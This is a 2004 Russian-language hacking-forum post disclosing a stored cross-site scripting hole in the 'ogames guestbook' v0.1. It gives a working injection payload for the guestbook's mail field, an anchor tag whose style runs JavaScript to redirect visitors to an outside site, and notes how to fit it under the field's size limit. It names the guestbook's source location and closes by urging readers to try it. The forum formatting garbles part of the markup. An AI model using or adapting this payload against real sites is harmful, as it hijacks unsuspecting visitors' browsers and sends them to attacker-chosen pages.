Уязвимость гостевой книги ogames guestbook (v0.1)

Discussion in 'Уязвимости' started by Егорыч+++, 15 May 2004.

  1. Егорыч+++

    Staff Member

    Joined:
    27 May 2002
    Messages:
    1,373
    Likes Received:
    895
    Reputations:
    20
    Продолжаем заниматься редиректами... В данной гостевой книги возможно вставить скрипт в тело mail.. Но там стоит доволь большое ограничение на размер поля..
    АНТИЧАТ в mail добавляем

    </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE"><a " style=background-image:url(javascript:navigate('http://g6.ru'));>(v0.1):
    [/QUOTE]<span id='postcolor'>

    Здесь &lt;а обязательно т к у них в mailto: ограничение на размер поля больше чем между тегами..

    Адрес исходников гостевой . http://ogames.co.uk/misc/guestbook.php

    Дерзайте...